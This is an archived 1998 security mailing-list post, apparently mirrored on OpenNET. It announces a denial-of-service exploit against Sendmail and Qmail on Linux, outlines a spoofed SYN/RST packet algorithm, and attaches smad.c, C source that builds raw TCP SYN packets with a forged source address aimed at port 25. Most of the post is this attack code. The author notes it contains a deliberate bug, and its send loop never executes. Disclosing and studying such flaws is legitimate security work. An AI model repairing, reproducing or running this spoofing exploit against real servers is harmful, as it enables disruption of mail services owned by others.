The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Sendmail/Qmail DoS


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Tue, 3 Nov 1998 11:35:31 +0100
From: Salvatore Sanfilippo <[email protected]>
To: [email protected]
Subject: Sendmail/Qmail DoS

--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=mutt026444

Hi,
This expolit shows how Sendmail and Qmail vulnerabilities can be
exploited through spoofed packets. In fact the simple algorithm proposed by
Michal Zalewski can be performed in this way:

1. Attacker sends SYN from port X to victim, dst_port=25, spoof_addr SPOOFHOST     (victim sends SYN/ACK to SPOOFHOST)
2. SPOOFHOST sends RST from port X to victim, dst_port=25 respecting sequence      numbers (in reply to the SYN/ACK from victim).
   (victim got error on accept() - and enters 5 sec 'refusingconn' mode)
3. Wait approx. 2 seconds
4. Go to 1.

The source is for Linux and there is a little bug so it doesn't work.

p.s. This DoS works only against Linux boxes because Linux accept() returns
     a different errno.

anti.

--
Salvatore Sanfilippo
Intesis SECURITY LAB            Phone: +39-2-671563.1
Via Settembrini, 35             Fax: +39-2-66981953
I-20124 Milano  ITALY           Email: [email protected]

--vtzGhvizbBRQ85DL
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="smad.c"

/*
 * smad.c - sendmail accept dos -
 *
 * Salvatore Sanfilippo [AntireZ]
 * Intesis SECURITY LAB            Phone: +39-2-671563.1
 * Via Settembrini, 35             Fax: +39-2-66981953
 * I-20124 Milano  ITALY           Email: [email protected]
 *                                         [email protected]
 *
 * compile it under Linux with gcc -Wall -o smad smad.c
 *
 * usage: smad fakeaddr victim [port]
 */

#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define SLEEP_UTIME 100000 /* modify it if necessary */

#define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct tcphdr))
#define OFFSETTCP  (sizeof(struct iphdr))
#define OFFSETIP   (0)

u_short cksum(u_short *buf, int nwords)
{
        unsigned long sum;
        u_short *w = buf;

        for (sum = 0; nwords > 0; nwords-=2)
                sum += *w++;

        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return ~sum;
}

void resolver (struct sockaddr * addr, char *hostname, u_short port)
{
        struct  sockaddr_in *address;
        struct  hostent     *host;

        address = (struct sockaddr_in *)addr;

        (void) bzero((char *)address, sizeof(struct sockaddr_in));
        address->sin_family = AF_INET;
        address->sin_port = htons(port);
        address->sin_addr.s_addr = inet_addr(hostname);

        if ( (int)address->sin_addr.s_addr == -1) {
                host = gethostbyname(hostname);
                if (host) {
                        bcopy( host->h_addr,
                        (char *)&address->sin_addr,host->h_length);
                } else {
                        perror("Could not resolve address");
                        exit(-1);
                }
        }
}

int main(int argc, char **argv)
{
        char runchar[] = "|/-\\";
        char packet[PACKETSIZE],
        *fromhost,
        *tohost;

        u_short fromport        = 3000,
                toport          = 25;

        struct sockaddr_in local, remote;
        struct iphdr    *ip     = (struct iphdr*)  (packet + OFFSETIP);
        struct tcphdr   *tcp    = (struct tcphdr*) (packet + OFFSETTCP);

        struct  tcp_pseudohdr
        {
                struct in_addr saddr;
                struct in_addr daddr;
                u_char zero;
                u_char protocol;
                u_short lenght;
                struct tcphdr tcpheader;
        } pseudoheader;

        int sock, result, runcharid = 0;

        if (argc < 3)
        {
                printf("usage: %s fakeaddr victim [port]\n", argv[0]);
                exit(0);
        }
        if (argc == 4)
                toport = atoi(argv[3]);

        bzero((void*)packet, PACKETSIZE);
        fromhost = argv[1];
        tohost = argv[2];

        resolver((struct sockaddr*)&local, fromhost, fromport);
        resolver((struct sockaddr*)&remote, tohost, toport);

        sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (sock == -1) {
                perror("can't get raw socket");
                exit(1);
        }

        /* src addr */
        bcopy((char*)&local.sin_addr, &ip->saddr,sizeof(ip->saddr));
        /* dst addr */
        bcopy((char*)&remote.sin_addr,&ip->daddr,sizeof(ip->daddr));

        ip->version = 4;
        ip->ihl     = sizeof(struct iphdr)/4;
        ip->tos     = 0;
        ip->tot_len = htons(PACKETSIZE);
        ip->id      = htons(getpid() & 255);
        /* no flags */
        ip->frag_off = 0;
        ip->ttl     = 64;
        ip->protocol = 6;
        ip->check   = 0;

        tcp->th_dport = htons(toport);
        tcp->th_sport = htons(fromport);
        tcp->th_seq   = htonl(32089744);
        tcp->th_ack   = htonl(0);
        tcp->th_off   = sizeof(struct tcphdr)/4;
        /* 6 bit reserved */
        tcp->th_flags = TH_SYN;
        tcp->th_win   = htons(512);

        /* start of pseudo header stuff */
        bzero(&pseudoheader, 12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=local.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=remote.sin_addr.s_addr;
        pseudoheader.protocol = 6;
        pseudoheader.lenght = htons(sizeof(struct tcphdr));
        bcopy((char*) tcp, (char*) &pseudoheader.tcpheader,
                sizeof(struct tcphdr));
        /* end */

        tcp->th_sum   = cksum((u_short *) &pseudoheader,
                                12+sizeof(struct tcphdr));
        /* 16 bit urg */

        while (0)
        {
                result = sendto(sock, packet, PACKETSIZE, 0,
                        (struct sockaddr *)&remote, sizeof(remote));
                if (result != PACKETSIZE)
                {
                        perror("sending packet");
                        exit(0);
                }
                printf("\b");
                printf("%c", runchar[runcharid]);
                fflush(stdout);
                runcharid++;
                if (runcharid == 4)
                        runcharid = 0;
                usleep(SLEEP_UTIME);
        }

        return 0;
}

--vtzGhvizbBRQ85DL--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру